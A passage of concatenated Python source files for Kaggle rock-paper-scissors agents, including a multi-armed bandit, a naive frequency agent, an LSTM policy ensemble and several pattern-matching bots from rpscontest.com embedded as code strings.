wins_with[max_index(value[i])]] for i in range(2) ] player.r_freq = [ [best_without[min_index(player.freq[i])], best_without[min_index(value[i])]] for i in range(2) ] f = [[[[0, 0, 0] for k in range(4)] for j in range(2)] for i in range(3)] t = [[[0, 0, 0, 0] for j in range(2)] for i in range(3)] m_len = [[0 for _ in range(T)] for i in range(3)] for i in range(T - 1, 0, -1): m_len[0][i] = 4 for j in range(4): if player.my_history_hash[j][i] != player.my_history_hash[j][T]: m_len[0][i] = j break for j in range(4): if player.opp_history_hash[j][i] != player.opp_history_hash[j][T]: m_len[1][i] = j break for j in range(4): if ( player.my_history_hash[j][i] != player.my_history_hash[j][T] or player.opp_history_hash[j][i] != player.opp_history_hash[j][T] ): m_len[2][i] = j break for i in range(T - 1, 0, -1): for j in range(3): for k in range(m_len[j][i]): f[j][0][k][player.my_history[i + 1]] += 1 f[j][1][k][player.opp_history[i + 1]] += 1 t[j][0][k] += 1 t[j][1][k] += 1 if t[j][0][k] == 1: player.p_full[j * 8 + 0 * 4 + k][0] = wins_with[ player.my_history[i + 1] ] if t[j][1][k] == 1: player.p_full[j * 8 + 1 * 4 + k][0] = wins_with[ player.opp_history[i + 1] ] if t[j][0][k] == 3: player.p_full[j * 8 + 0 * 4 + k][1] = wins_with[ max_index(f[j][0][k]) ] player.r_full[j * 8 + 0 * 4 + k][0] = best_without[ min_index(f[j][0][k]) ] if t[j][1][k] == 3: player.p_full[j * 8 + 1 * 4 + k][1] = wins_with[ max_index(f[j][1][k]) ] player.r_full[j * 8 + 1 * 4 + k][0] = best_without[ min_index(f[j][1][k]) ] for j in range(3): for k in range(4): player.p_full[j * 8 + 0 * 4 + k][2] = wins_with[max_index(f[j][0][k])] player.r_full[j * 8 + 0 * 4 + k][1] = best_without[min_index(f[j][0][k])] player.p_full[j * 8 + 1 * 4 + k][2] = wins_with[max_index(f[j][1][k])] player.r_full[j * 8 + 1 * 4 + k][1] = best_without[min_index(f[j][1][k])] for j in range(24): gear_freq = [ 0 ] * 9 # was [0,0,0] because original code incorrectly only allocated array length 3 for i in range(T - 1, 0, -1): if player.gear[j][i] == player.gear[j][T]: gear_freq[player.gear[j][i + 1]] += 1 # original source allocated to 9 positions of gear_freq array, but only allocated first three # also, only looked at first 3 to find the max_index # unclear whether to seek max index over all 9 gear_freq's or just first 3 (as original code) player.p_full[j][3] = (player.p_full[j][1] + max_index(gear_freq)) % 3 # end make_predictions() player.p_len = [find_best_prediction(l) for l in lengths] return rps_to_num[rps_to_text[player.p_len[max_index(player.s_len)]]] class GreenbergPolicy(Policy): def __init__(self): super().__init__() self.name = "greenberg_policy" self.is_deterministic = True def _get_probs(self, step: int, score: int, history: pd.DataFrame) -> np.ndarray: rps_to_text = ("rock", "paper", "scissors") act = player( [rps_to_text[int(action)] for action in history.loc[:, "action"]], [rps_to_text[int(action)] for action in history.loc[:, "opponent_action"]], ) return one_hot(act) --- FILE SEPARATOR --- from random import randint from rpskaggle.policies import * logging.basicConfig(level=logging.INFO) class MultiArmedBandit(RPSAgent): """ a simple multi armed bandit approach sampling from a dirichlet distribution """ def __init__(self, configuration): super().__init__(configuration) # Load some policies self.policies = get_policies() self.name_to_policy = {policy.name: policy for policy in self.policies} policy_names = [policy.name for policy in self.policies] self.decays = [0.5, 0.93, 0.99] self.scores_by_decay = np.full( (len(self.decays), len(self.policies), 3), fill_value=2, dtype=np.float ) # Record the performance of the different decay values self.decay_performance = pd.DataFrame( columns=["step"] + [ _ for d in [ [str(decay) + "_wins", str(decay) + "_ties", str(decay) + "_losses"] for decay in self.decays ] for _ in d ] ) self.decay_performance.set_index("step", inplace=True) self.decay_probs = list() self.decay_performance_decay = 0.95 # Award 3 points per win, -3 per loss and 0 for draws self.win = 3.0 self.tie = 3.0 self.loss = 3.0 # Probability of a reset after a policy loses once self.reset_prob = 0.1 # Record the performance of all policies self.policies_performance = pd.DataFrame( columns=["step"] + [ _ for p in [ [p_name + "_wins", p_name + "_ties", p_name + "_losses"] for p_name in policy_names ] for _ in p ] ) self.win_tie_loss_columns = [ _ for p in [ [p_name + "_wins", p_name + "_ties", p_name + "_losses"] for p_name in policy_names ] for _ in p ] self.policies_performance.set_index("step", inplace=True) def act(self) -> int: if len(self.history) > 0: # Update the historical performance for each policy self.update_performance() # Get the new probabilities from every policy policy_probs = np.array( [ policy.probabilities(self.step, self.score, self.history) for policy in self.policies ] ) if len(self.history) > 0: # Determine the performance scores of the policies for each decay value, sample from the according dirichlet # distribution and choose the policy with the highest score for each decay decay_probs = [] for decay_index, decay in enumerate(self.decays): # Sample a value from the according dirichlet distribution for every policy values = np.ndarray( shape=(self.scores_by_decay.shape[1],), dtype=np.float ) for i in range(self.scores_by_decay.shape[1]): dirichlet = np.random.dirichlet( [ self.scores_by_decay[decay_index, i, 0], self.scores_by_decay[decay_index, i, 1], self.scores_by_decay[decay_index, i, 2], ] ) values[i] = dirichlet[0] - dirichlet[2] # Combine the probabilities of the policies with the three highest values highest = (-values).argsort()[:3] logging.debug(self.policies[highest[0]].name) probs = ( 0.6 * policy_probs[highest[0]] + 0.25 * policy_probs[highest[1]] + 0.15 * policy_probs[highest[2]] ) decay_probs.append(probs) self.decay_probs.append(decay_probs) chosen_decay = self.decays[0] if len(self.decay_performance) == 0: probabilities = decay_probs[0] else: # Choose the decay with the highest value sampled from a dirichlet distribution values = np.ndarray(shape=(len(self.decays),), dtype=np.float) decayed_decay_performance = ( ( self.decay_performance * np.flip( np.power( self.decay_performance_decay, np.arange(len(self.decay_performance)), ) ).reshape((-1, 1)) ) .sum(axis=0) .to_numpy() .reshape((-1, 3)) ) decayed_decay_performance = ( decayed_decay_performance - np.min(decayed_decay_performance) + 0.01 ) for decay_index, _ in enumerate(self.decays): dirichlet = np.random.dirichlet( [ 3 * decayed_decay_performance[decay_index, 0], 3 * decayed_decay_performance[decay_index, 1], 3 * decayed_decay_performance[decay_index, 2], ] ) values[decay_index] = dirichlet[0] - dirichlet[2] chosen_decay_index = int(np.argmax(values)) probabilities = decay_probs[chosen_decay_index] chosen_decay = self.decays[chosen_decay_index] logging.info( "Multi Armed Bandit | Step " + str(self.step) + " | score: " + str(self.score) + " decay: " + str(chosen_decay) + " probabilities: " + str(probabilities) ) # Play randomly for the first 100-200 steps if self.step < 100 + randint(0, 100): action = randint(0, 2) if randint(0, 3) == 1: # We don´t want our random seed to be cracked. action = (action + 1) % SIGNS return action action = int(np.random.choice(range(SIGNS), p=probabilities)) return action def update_performance(self): opponent_action = self.obs.lastOpponentAction winning_action = (opponent_action + 1) % 3 losing_action = (opponent_action + 2) % 3 # Policies for policy_index, (policy_name, policy) in enumerate( self.name_to_policy.items() ): # Update the policy scores probs = policy.history[-1] self.policies_performance.loc[self.step - 1, policy_name + "_wins"] = ( probs[winning_action] * self.win ) self.policies_performance.loc[self.step - 1, policy_name + "_losses"] = ( probs[losing_action] * self.loss ) self.policies_performance.loc[self.step - 1, policy_name + "_ties"] = ( probs[opponent_action] * self.tie ) # Reset after a loss if probs[losing_action] > 0.4: if np.random.random() < self.reset_prob: self.scores_by_decay[ self.scores_by_decay[:, policy_index, 0] > self.scores_by_decay[:, policy_index, 2], policy_index, ] = 2 # Decays if len(self.decay_probs) > 0: for decay_index, decay in enumerate(self.decays): probs = self.decay_probs[-1][decay_index] self.decay_performance.loc[self.step - 1, str(decay) + "_wins"] = probs[ winning_action ] self.decay_performance.loc[ self.step - 1, str(decay) + "_losses" ] = probs[losing_action] self.decay_performance.loc[self.step - 1, str(decay) + "_ties"] = probs[ opponent_action ] # Apply the different decay values for decay_index, decay in enumerate(self.decays): # Apply the decay self.scores_by_decay[decay_index] *= decay # Add the new scores self.scores_by_decay[decay_index, :, :] += ( self.policies_performance.loc[self.step - 1, self.win_tie_loss_columns] .to_numpy() .reshape(len(self.policies), 3) .astype(np.float) ) AGENT = None def multi_armed_bandit(observation, configuration) -> int: global AGENT if AGENT is None: AGENT = MultiArmedBandit(configuration) action, history = AGENT.agent(observation) return action --- FILE SEPARATOR --- from random import randint from rpskaggle.helpers import * class NaiveAgent(RPSAgent): """ A simple agent that plays randomly for the first steps and uses the frequencies of the opponent's actions to choose actions afterwards. When this doesn't work well, it switches to random play again. """ def __init__(self, configuration): super().__init__(configuration) self.play_random = True def act(self) -> int: if self.should_choose_random(): return randint(0, 2) # Use the relative frequencies of the opponent's actions as a probability distribution for our actions probs = counters(self.history["opponent_action"]).value_counts( normalize=True, sort=False ) for i in range(SIGNS): if i not in probs.keys(): probs.loc[i] = 0.0 probs.sort_index(inplace=True) return int(np.random.choice(range(SIGNS), p=probs)) def should_choose_random(self) -> bool: # Play random for the first 50 steps if self.step < 50: self.play_random = True return True # and don't play random for the following 50 steps elif self.step < 100: self.play_random = False return False if not self.play_random: if self.score < -20: # Seems like our strategy doesn't work self.play_random = True # Flip the decision with a certain probability return self.play_random if randint(1, 100) <= 85 else not self.play_random AGENT = None def naive_agent(observation, configuration) -> int: global AGENT if AGENT is None: AGENT = NaiveAgent(configuration) action, history = AGENT.agent(observation) return action --- FILE SEPARATOR --- from random import randint from rpskaggle.policies import * import tensorflow.keras as keras logging.basicConfig(level=logging.INFO) class NeuralPolicyEnsembleAgent(RPSAgent): """ evaluates the performance of different policies and assigns each policy a weight based on the policy´s historical performance using a neural network """ def __init__(self, configuration, strict: bool = False): super().__init__(configuration) self.strict_agent = strict self.policies = get_policies() if self.strict_agent: self.policies = [ policy for policy in self.policies if policy.is_deterministic ] self.name_to_policy = {policy.name: policy for policy in self.policies} # Create a data frame with the historical performance of the policies policy_names = [policy.name for policy in self.policies] self.policies_performance = pd.DataFrame(columns=["step"] + policy_names) self.policies_performance.set_index("step", inplace=True) self.decay = 0.93 # the amount of timesteps to use for predictions self.look_back = 6 # simple neural network self.model = keras.Sequential() self.model.add( keras.layers.LSTM( 64, input_shape=(self.look_back, len(self.policies)), return_sequences=True, use_bias=True, ) ) self.model.add( keras.layers.LSTM( 16, input_shape=(self.look_back, len(self.policies)), return_sequences=False, use_bias=True, ) ) self.model.add( keras.layers.Dense(len(self.policies), activation="sigmoid", use_bias=True) ) self.model.compile( loss="mean_squared_error", optimizer=keras.optimizers.Adam(learning_rate=0.005), ) self.batch_size = 20 # Data self.X = [] self.y = [] def act(self) -> int: if len(self.history) > 0: # Update the historical performance for each policy and for each decay value self.update_data() # Get the new probabilities from every policy policy_probs = np.array( [ policy.probabilities(self.step, self.score, self.history) for policy in self.policies ] ) if len(self.history) > self.look_back + self.batch_size: self.train_model() if len(self.history) > self.look_back + self.batch_size + 1: sample = self.policies_performance.to_numpy().astype(np.float32)[ -self.look_back :, : ] preds = self.model.predict(sample.reshape((1, self.look_back, -1)))[0] preds = np.clip(preds, a_min=0, a_max=1) probabilities = policy_probs[np.argmax(preds)] else: probabilities = EQUAL_PROBS logging.info( "Neural Policy Ensemble | Step " + str(self.step) + " | score: " + str(self.score) + " probabilities: " + str(probabilities) ) # Play randomly for the first 130-230 steps if ( self.step < 130 + randint(0, 100) and get_score(self.alternate_history, 15) < 6 ): action = self.random.randint(0, 2) if self.random.randint(0, 3) == 1: # We don´t want our random seed to be cracked. action = (action + 1) % SIGNS return action if self.strict_agent: action = int(np.argmax(probabilities)) else: action = int(np.random.choice(range(SIGNS), p=probabilities)) return action def update_data(self): # Determine the scores for the different actions (Win: 0.9, Tie: 0.5, Loss: 0.1) scores = [0, 0, 0] opponent_action = self.obs.lastOpponentAction scores[(opponent_action + 1) % 3] = 0.9 scores[opponent_action] = 0.5 scores[(opponent_action + 2) % 3] = 0.1 # Policies for policy_name, policy in self.name_to_policy.items(): # Calculate the policy´s score for the last step probs = policy.history[-1] score = np.sum(probs * scores) # Save the score to the performance data frame self.policies_performance.loc[self.step - 1, policy_name] = score if len(self.policies_performance) > self.look_back: # Append to X and y perf = self.policies_performance.to_numpy() self.X.append(perf[-self.look_back - 1 : -1, :]) self.y.append( perf[-1, :].reshape( -1, ) ) def train_model(self): X = np.asarray(self.X).astype(np.float32) y = np.asarray(self.y).astype(np.float32) if len(X) > 10 * self.batch_size: # No need to train on old data when everyone plays randomly for the first steps X = X[-10 * self.batch_size :] y = y[-10 * self.batch_size :] # Favor more recent samples weights = np.flip(np.power(self.decay, np.arange(0, len(X)))) self.model.fit( X, y, batch_size=self.batch_size, epochs=1, verbose=0, shuffle=True, sample_weight=weights, ) AGENT = None def neural_policy_ensemble(observation, configuration) -> int: global AGENT if AGENT is None: AGENT = NeuralPolicyEnsembleAgent(configuration) action, history = AGENT.agent(observation) return action --- FILE SEPARATOR --- """ testing please ignore agent by dllu http://www.rpscontest.com/entry/342001 """ TESTING_PLEASE_IGNORE = """ from collections import defaultdict import operator import random if input == "": score = {'RR': 0, 'PP': 0, 'SS': 0, \ 'PR': 1, 'RS': 1, 'SP': 1, \ 'RP': -1, 'SR': -1, 'PS': -1,} cscore = {'RR': 'r', 'PP': 'r', 'SS': 'r', \ 'PR': 'b', 'RS': 'b', 'SP': 'b', \ 'RP': 'c', 'SR': 'c', 'PS': 'c',} beat = {'P': 'S', 'S': 'R', 'R': 'P'} cede = {'P': 'R', 'S': 'P', 'R': 'S'} rps = ['R', 'P', 'S'] wlt = {1:0,-1:1,0:2} def counter_prob(probs): weighted_list = [] for h in rps: weighted = 0 for p in probs.keys(): points = score[h+p] prob = probs[p] weighted += points * prob weighted_list.append((h, weighted)) return max(weighted_list, key=operator.itemgetter(1))[0] played_probs = defaultdict(lambda: 1) dna_probs = [defaultdict(lambda: defaultdict(lambda: 1)) for i in range(18)] wlt_probs = [defaultdict(lambda: 1) for i in range(9)] answers = [{'c': 1, 'b': 1, 'r': 1} for i in range(12)] patterndict = [defaultdict(str) for i in range(6)] consec_strat_usage = [[0]*6,[0]*6,[0]*6] #consecutive strategy usage consec_strat_candy = [[], [], [] ] #consecutive strategy candidates output = random.choice(rps) histories = ["","",""] dna = ["" for i in range(12)] sc = 0 strats = [[] for i in range(3)] else: prev_sc = sc sc = score[output + input] for j in range(3): prev_strats = strats[j][:] for i, c in enumerate(consec_strat_candy[j]): if c == input: consec_strat_usage[j][i] += 1 else: consec_strat_usage[j][i] = 0 m = max(consec_strat_usage[j]) strats[j] = [i for i, c in enumerate(consec_strat_candy[j]) if consec_strat_usage[j][i] == m] for s1 in prev_strats: for s2 in strats[j]: wlt_probs[j*3+wlt[prev_sc]][chr(s1)+chr(s2)] += 1 if dna[2*j+0] and dna[2*j+1]: answers[2*j+0][cscore[input+dna[2*j+0]]] += 1 answers[2*j+1][cscore[input+dna[2*j+1]]] += 1 if dna[2*j+6] and dna[2*j+7]: answers[2*j+6][cscore[input+dna[2*j+6]]] += 1 answers[2*j+7][cscore[input+dna[2*j+7]]] += 1 for length in range(min(10, len(histories[j])), 0, -2): pattern = patterndict[2*j][histories[j][-length:]] if pattern: for length2 in range(min(10, len(pattern)), 0, -2): patterndict[2*j+1][pattern[-length2:]] += output + input patterndict[2*j][histories[j][-length:]] += output + input played_probs[input] += 1 dna_probs[0][dna[0]][input] +=1 dna_probs[1][dna[1]][input] +=1 dna_probs[2][dna[1]+dna[0]][input] +=1 dna_probs[9][dna[6]][input] +=1 dna_probs[10][dna[6]][input] +=1 dna_probs[11][dna[7]+dna[6]][input] +=1 histories[0] += output + input histories[1] += input histories[2] += output dna = ["" for i in range(12)] for j in range(3): for length in range(min(10, len(histories[j])), 0, -2): pattern = patterndict[2*j][histories[j][-length:]] if pattern != "": dna[2*j+1] = pattern[-2] dna[2*j+0] = pattern[-1] for length2 in range(min(10, len(pattern)), 0, -2): pattern2 = patterndict[2*j+1][pattern[-length2:]] if pattern2 != "": dna[2*j+7] = pattern2[-2] dna[2*j+6] = pattern2[-1] break break probs = {} for hand in rps: probs[hand] = played_probs[hand] for j in range(3): if dna[j*2] and dna[j*2+1]: for hand in rps: probs[hand] *= dna_probs[j*3+0][dna[j*2+0]][hand] * \ dna_probs[j*3+1][dna[j*2+1]][hand] * \ dna_probs[j*3+2][dna[j*2+1]+dna[j*2+0]][hand] probs[hand] *= answers[j*2+0][cscore[hand+dna[j*2+0]]] * \ answers[j*2+1][cscore[hand+dna[j*2+1]]] consec_strat_candy[j] = [dna[j*2+0], beat[dna[j*2+0]], cede[dna[j*2+0]],\ dna[j*2+1], beat[dna[j*2+1]], cede[dna[j*2+1]]] strats_for_hand = {'R': [], 'P': [], 'S': []} for i, c in enumerate(consec_strat_candy[j]): strats_for_hand[c].append(i) pr = wlt_probs[wlt[sc]+3*j] for hand in rps: for s1 in strats[j]: for s2 in strats_for_hand[hand]: probs[hand] *= pr[chr(s1)+chr(s2)] else: consec_strat_candy[j] = [] for j in range(3): if dna[j*2+6] and dna[j*2+7]: for hand in rps: probs[hand] *= dna_probs[j*3+9][dna[j*2+6]][hand] * \ dna_probs[j*3+10][dna[j*2+7]][hand] * \ dna_probs[j*3+11][dna[j*2+7]+dna[j*2+6]][hand] probs[hand] *= answers[j*2+6][cscore[hand+dna[j*2+6]]] * \ answers[j*2+7][cscore[hand+dna[j*2+7]]] output = counter_prob(probs) """ """ centrifugal bumblepuppy 4 bot by dllu http://www.rpscontest.com/entry/161004 """ CENTRIFUGAL_BUMBLEPUPPY_4 = """ # WoofWoofWoof # Woof Woof # Woof Woof # Woof Woof # Woof Centrifugal Bumble-puppy Woof # Woof Woof # Woof Woof # Woof Woof # WoofWoofWoof import random number_of_predictors = 60 #yes, this really has 60 predictors. number_of_metapredictors = 4 #actually, I lied! This has 240 predictors. if not input: limits = [50,20,6] beat={'R':'P','P':'S','S':'R'} urmoves="" mymoves="" DNAmoves="" outputs=[random.choice("RPS")]*number_of_metapredictors predictorscore1=[3]*number_of_predictors predictorscore2=[3]*number_of_predictors predictorscore3=[3]*number_of_predictors predictorscore4=[3]*number_of_predictors nuclease={'RP':'a','PS':'b','SR':'c','PR':'d','SP':'e','RS':'f','RR':'g','PP':'h','SS':'i'} length=0 predictors=[random.choice("RPS")]*number_of_predictors metapredictors=[random.choice("RPS")]*number_of_metapredictors metapredictorscore=[3]*number_of_metapredictors else: for i in range(number_of_predictors): #metapredictor 1 predictorscore1[i]*=0.8 predictorscore1[i]+=(input==predictors[i])*3 predictorscore1[i]-=(input==beat[beat[predictors[i]]])*3 #metapredictor 2: beat metapredictor 1 (probably contains a bug) predictorscore2[i]*=0.8 predictorscore2[i]+=(output==predictors[i])*3 predictorscore2[i]-=(output==beat[beat[predictors[i]]])*3 #metapredictor 3 predictorscore3[i]+=(input==predictors[i])*3 if input==beat[beat[predictors[i]]]: predictorscore3[i]=0 #metapredictor 4: beat metapredictor 3 (probably contains a bug) predictorscore4[i]+=(output==predictors[i])*3 if output==beat[beat[predictors[i]]]: predictorscore4[i]=0 for i in range(number_of_metapredictors): metapredictorscore[i]*=0.96 metapredictorscore[i]+=(input==metapredictors[i])*3 metapredictorscore[i]-=(input==beat[beat[metapredictors[i]]])*3 #Predictors 1-18: History matching urmoves+=input mymoves+=output DNAmoves+=nuclease[input+output] length+=1 for z in range(3): limit = min([length,limits[z]]) j=limit while j>=1 and not DNAmoves[length-j:length] in DNAmoves[0:length-1]: j-=1 if j>=1: i = DNAmoves.rfind(DNAmoves[length-j:length],0,length-1) predictors[0+6*z] = urmoves[j+i] predictors[1+6*z] = beat[mymoves[j+i]] j=limit while j>=1 and not urmoves[length-j:length] in urmoves[0:length-1]: j-=1 if j>=1: i = urmoves.rfind(urmoves[length-j:length],0,length-1) predictors[2+6*z] = urmoves[j+i] predictors[3+6*z] = beat[mymoves[j+i]] j=limit while j>=1 and not mymoves[length-j:length] in mymoves[0:length-1]: j-=1 if j>=1: i = mymoves.rfind(mymoves[length-j:length],0,length-1) predictors[4+6*z] = urmoves[j+i] predictors[5+6*z] = beat[mymoves[j+i]] #Predictor 19,20: RNA Polymerase L=len(mymoves) i=DNAmoves.rfind(DNAmoves[L-j:L-1],0,L-2) while i==-1: j-=1 i=DNAmoves.rfind(DNAmoves[L-j:L-1],0,L-2) if j<2: break if i==-1 or j+i>=L: predictors[18]=predictors[19]=random.choice("RPS") else: predictors[18]=beat[mymoves[j+i]] predictors[19]=urmoves[j+i] #Predictors 21-60: rotations of Predictors 1:20 for i in range(20,60): predictors[i]=beat[beat[predictors[i-20]]] #Trying to second guess me? metapredictors[0]=predictors[predictorscore1.index(max(predictorscore1))] metapredictors[1]=beat[predictors[predictorscore2.index(max(predictorscore2))]] metapredictors[2]=predictors[predictorscore3.index(max(predictorscore3))] metapredictors[3]=beat[predictors[predictorscore4.index(max(predictorscore4))]] #compare predictors output = beat[metapredictors[metapredictorscore.index(max(metapredictorscore))]] if max(metapredictorscore)<0: output = beat[random.choice(urmoves)] """ """ IO2_fightinguuu bot by sdfsdf http://www.rpscontest.com/entry/885001 """ IO2_FIGHTINGUUU = """ #Iocaine powder based AI import random # 2 different lengths of history, 3 kinds of history, both, mine, yours # 3 different limit length of reverse learning # 6 kinds of strategy based on Iocaine Powder num_predictor = 27 if input=="": len_rfind = [20] limit = [10,20,60] beat = { "R":"P" , "P":"S", "S":"R"} not_lose = { "R":"PPR" , "P":"SSP" , "S":"RRS" } #50-50 chance my_his ="" your_his ="" both_his ="" list_predictor = [""]*num_predictor length = 0 temp1 = { "PP":"1" , "PR":"2" , "PS":"3", "RP":"4" , "RR":"5", "RS":"6", "SP":"7" , "SR":"8", "SS":"9"} temp2 = { "1":"PP","2":"PR","3":"PS", "4":"RP","5":"RR","6":"RS", "7":"SP","8":"SR","9":"SS"} who_win = { "PP": 0, "PR":1 , "PS":-1, "RP": -1,"RR":0, "RS":1, "SP": 1, "SR":-1, "SS":0} score_predictor = [0]*num_predictor output = random.choice("RPS") predictors = [output]*num_predictor else: #update predictors #\"\"\" if len(list_predictor[0])<5: front =0 else: front =1 for i in range (num_predictor): if predictors[i]==input: result ="1" else: result ="0" list_predictor[i] = list_predictor[i][front:5]+result #only 5 rounds before #history matching 1-6 my_his += output your_his += input both_his += temp1[input+output] length +=1 for i in range(1): len_size = min(length,len_rfind[i]) j=len_size #both_his while j>=1 and not both_his[length-j:length] in both_his[0:length-1]: j-=1 if j>=1: k = both_his.rfind(both_his[length-j:length],0,length-1) predictors[0+6*i] = your_his[j+k] predictors[1+6*i] = beat[my_his[j+k]] else: predictors[0+6*i] = random.choice("RPS") predictors[1+6*i] = random.choice("RPS") j=len_size #your_his while j>=1 and not your_his[length-j:length] in your_his[0:length-1]: j-=1 if j>=1: k = your_his.rfind(your_his[length-j:length],0,length-1) predictors[2+6*i] = your_his[j+k] predictors[3+6*i] = beat[my_his[j+k]] else: predictors[2+6*i] = random.choice("RPS") predictors[3+6*i] = random.choice("RPS") j=len_size #my_his while j>=1 and not my_his[length-j:length] in my_his[0:length-1]: j-=1 if j>=1: k = my_his.rfind(my_his[length-j:length],0,length-1) predictors[4+6*i] = your_his[j+k] predictors[5+6*i] = beat[my_his[j+k]] else: predictors[4+6*i] = random.choice("RPS") predictors[5+6*i] = random.choice("RPS") for i in range(3): temp ="" search = temp1[(output+input)] #last round for start in range(2, min(limit[i],length) ): if search == both_his[length-start]: temp+=both_his[length-start+1] if(temp==""): predictors[6+i] = random.choice("RPS") else: collectR = {"P":0,"R":0,"S":0} #take win/lose from opponent into account for sdf in temp: next_move = temp2[sdf] if(who_win[next_move]==-1): collectR[temp2[sdf][1]]+=3 elif(who_win[next_move]==0): collectR[temp2[sdf][1]]+=1 elif(who_win[next_move]==1): collectR[beat[temp2[sdf][0]]]+=1 max1 = -1 p1 ="" for key in collectR: if(collectR[key]>max1): max1 = collectR[key] p1 += key predictors[6+i] = random.choice(p1) #rotate 9-27: for i in range(9,27): predictors[i] = beat[beat[predictors[i-9]]] #choose a predictor len_his = len(list_predictor[0]) for i in range(num_predictor): sum = 0 for j in range(len_his): if list_predictor[i][j]=="1": sum+=(j+1)*(j+1) else: sum-=(j+1)*(j+1) score_predictor[i] = sum max_score = max(score_predictor) #min_score = min(score_predictor) #c_temp = {"R":0,"P":0,"S":0} #for i in range (num_predictor): #if score_predictor[i]==max_score: # c_temp[predictors[i]] +=1 #if score_predictor[i]==min_score: # c_temp[predictors[i]] -=1 if max_score>0: predict = predictors[score_predictor.index(max_score)] else: predict = random.choice(your_his) output = random.choice(not_lose[predict]) """ """ dllu1 bot by dllu http://www.rpscontest.com/entry/498002 """ DLLU1 = """ # see also www.dllu.net/rps # remember, rpsrunner.py is extremely useful for offline testing, # here's a screenshot: http://i.imgur.com/DcO9M.png import random numPre = 30 numMeta = 6 if not input: limit = 8 beat={'R':'P','P':'S','S':'R'} moves=['','','',''] pScore=[[5]*numPre,[5]*numPre,[5]*numPre,[5]*numPre,[5]*numPre,[5]*numPre] centrifuge={'RP':0,'PS':1,'SR':2,'PR':3,'SP':4,'RS':5,'RR':6,'PP':7,'SS':8} centripete={'R':0,'P':1,'S':2} soma = [0,0,0,0,0,0,0,0,0]; rps = [1,1,1]; a="RPS" best = [0,0,0]; length=0 p=[random.choice("RPS")]*numPre m=[random.choice("RPS")]*numMeta mScore=[5,2,5,2,4,2] else: for i in range(numPre): pp = p[i] bpp = beat[pp] bbpp = beat[bpp] pScore[0][i]=0.9*pScore[0][i]+((input==pp)-(input==bbpp))*3 pScore[1][i]=0.9*pScore[1][i]+((output==pp)-(output==bbpp))*3 pScore[2][i]=0.87*pScore[2][i]+(input==pp)*3.3-(input==bpp)*1.2-(input==bbpp)*2.3 pScore[3][i]=0.87*pScore[3][i]+(output==pp)*3.3-(output==bpp)*1.2-(output==bbpp)*2.3 pScore[4][i]=(pScore[4][i]+(input==pp)*3)*(1-(input==bbpp)) pScore[5][i]=(pScore[5][i]+(output==pp)*3)*(1-(output==bbpp)) for i in range(numMeta): mScore[i]=0.96*(mScore[i]+(input==m[i])-(input==beat[beat[m[i]]])) soma[centrifuge[input+output]] +=1; rps[centripete[input]] +=1; moves[0]+=str(centrifuge[input+output]) moves[1]+=input moves[2]+=output length+=1 for y in range(3): j=min([length,limit]) while j>=1 and not moves[y][length-j:length] in moves[y][0:length-1]: j-=1 i = moves[y].rfind(moves[y][length-j:length],0,length-1) p[0+2*y] = moves[1][j+i] p[1+2*y] = beat[moves[2][j+i]] j=min([length,limit]) while j>=2 and not moves[0][length-j:length-1] in moves[0][0:length-2]: j-=1 i = moves[0].rfind(moves[0][length-j:length-1],0,length-2) if j+i>=length: p[6] = p[7] = random.choice("RPS") else: p[6] = moves[1][j+i] p[7] = beat[moves[2][j+i]] best[0] = soma[centrifuge[output+'R']]*rps[0]/rps[centripete[output]] best[1] = soma[centrifuge[output+'P']]*rps[1]/rps[centripete[output]] best[2] = soma[centrifuge[output+'S']]*rps[2]/rps[centripete[output]] p[8] = p[9] = a[best.index(max(best))] for i in range(10,numPre): p[i]=beat[beat[p[i-10]]] for i in range(0,numMeta,2): m[i]= p[pScore[i ].index(max(pScore[i ]))] m[i+1]=beat[p[pScore[i+1].index(max(pScore[i+1]))]] output = beat[m[mScore.index(max(mScore))]] if max(mScore)<0.07 or random.randint(3,40)>length: output=beat[random.choice("RPS")] """ """ RPS_Meta_Fix bot by TeleZ http://www.rpscontest.com/entry/5649874456412160 """ RPS_META_FIX = """ import random RNA={'RR':'1','RP':'2','RS':'3','PR':'4','PP':'5','PS':'6','SR':'7','SP':'8','SS':'9'} mix={'RR':'R','RP':'R','RS':'S','PR':'R','PP':'P','PS':'P','SR':'S','SP':'P','SS':'S'} rot={'R':'P','P':'S','S':'R'} if not input: DNA=[""]*3 prin=[random.choice("RPS")]*18 meta=[random.choice("RPS")]*6 skor1=[[0]*18,[0]*18,[0]*18,[0]*18,[0]*18,[0]*18] skor2=[0]*6 else: for j in range(18): for i in range(4): skor1[i][j]*=0.8 for i in range(4,6): skor1[i][j]*=0.5 for i in range(0,6,2): skor1[i][j]-=(input==rot[rot[prin[j]]]) skor1[i+1][j]-=(output==rot[rot[prin[j]]]) for i in range(2,6,2): skor1[i][j]+=(input==prin[j]) skor1[i+1][j]+=(output==prin[j]) skor1[0][j]+=1.3*(input==prin[j])-0.3*(input==rot[prin[j]]) skor1[1][j]+=1.3*(output==prin[j])-0.3*(output==rot[prin[j]]) for i in range(6): skor2[i]=0.9*skor2[i]+(input==meta[i])-(input==rot[rot[meta[i]]]) DNA[0]+=input DNA[1]+=output DNA[2]+=RNA[input+output] for i in range(3): j=min(21,len(DNA[2])) k=-1 while j>1 and k<0: j-=1 k=DNA[i].rfind(DNA[i][-j:],0,-1) prin[2*i]=DNA[0][j+k] prin[2*i+1]=rot[DNA[1][j+k]] k=DNA[i].rfind(DNA[i][-j:],0,j+k-1) prin[2*i]=mix[prin[2*i]+DNA[0][j+k]] prin[2*i+1]=mix[prin[2*i+1]+rot[DNA[1][j+k]]] for i in range(6,18): prin[i]=rot[prin[i-6]] for i in range(0,6,2): meta[i]=prin[skor1[i].index(max(skor1[i]))] meta[i+1]=rot[prin[skor1[i+1].index(max(skor1[i+1]))]] output=rot[meta[skor2.index(max(skor2))]] """ """ Are you a lucker? bot by sdfsdf http://www.rpscontest.com/entry/892001 """ ARE_YOU_A_LUCKER = """ #This one is just for the proof that luck plays an important role in the leaderboard #only 200 matches but there are more than 650 ai score > 5000 import random num_predictors =27 num_meta= 18 if input =="": len_rfind = [20] limit = [10,20,60] beat = { "P":"S" , "R":"P" , "S":"R" } not_lose = { "R":"PR", "P":"SP", "S":"RS" } your_his ="" my_his = "" both_his="" both_his2="" length =0 score1=[3]*num_predictors score2=[3]*num_predictors score3=[3]*num_predictors score4=[3]*num_predictors score5=[3]*num_predictors score6=[3]*num_predictors metascore=[3]*num_meta temp1 = { "PP":"1","PR":"2","PS":"3", "RP":"4","RR":"5","RS":"6", "SP":"7","SR":"8","SS":"9"} temp2 = { "1":"PP","2":"PR","3":"PS", "4":"RP","5":"RR","6":"RS", 